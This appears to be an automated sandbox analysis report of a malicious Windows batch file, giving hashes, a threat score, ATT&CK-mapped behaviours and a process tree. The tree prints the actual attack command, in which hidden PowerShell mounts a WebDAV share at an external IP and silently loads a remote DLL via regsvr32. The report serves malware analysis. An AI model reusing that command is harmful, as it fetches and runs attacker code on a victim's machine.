6dcbf5f9734faf22fdabd53e8346c7bd16c688ff1193c16c6de353a8bea56f4a

Analysis

max time kernel
148s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 20:36

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General

Target

140613633074418795.bat
Size

6KB
MD5

8d380b6450331e3764d24d67e47bd7c3
SHA1

a36c714d2eb776e69907b9ce16abddffb48f7e29
SHA256

6dcbf5f9734faf22fdabd53e8346c7bd16c688ff1193c16c6de353a8bea56f4a
SHA512

a031df9f79bb652ea6e5be1eed6e9e56a8ba149194d86d04d784f4abe1d4693f42609fa3a0fa2f0113c50fb4ac48302f1e9887ba218f655949eac49b427ec4f3
SSDEEP

192:yxn8/hAkLNpmbfdyR+++JR+++R+uVF/2wf:yxnRkhpmDdyR+++JR+++R+uVh2wf

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3500	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3500	powershell.exe
3500	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3500	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
612	wordpad.exe
612	wordpad.exe
612	wordpad.exe
612	wordpad.exe
612	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3380 wrote to memory of 612	3380	cmd.exe	85
PID 3380 wrote to memory of 612	3380	cmd.exe	85
PID 3380 wrote to memory of 3500	3380	cmd.exe	87
PID 3380 wrote to memory of 3500	3380	cmd.exe	87
PID 3500 wrote to memory of 1292	3500	powershell.exe	89
PID 3500 wrote to memory of 1292	3500	powershell.exe	89
PID 3500 wrote to memory of 4192	3500	powershell.exe	90
PID 3500 wrote to memory of 4192	3500	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\140613633074418795.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3380
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2889238204240.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1292
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2889238204240.dll
    3⤵
    PID:4192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2dkj0mj.vng.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3500-9-0x000001538DBF0000-0x000001538DC12000-memory.dmp

Filesize
136KB

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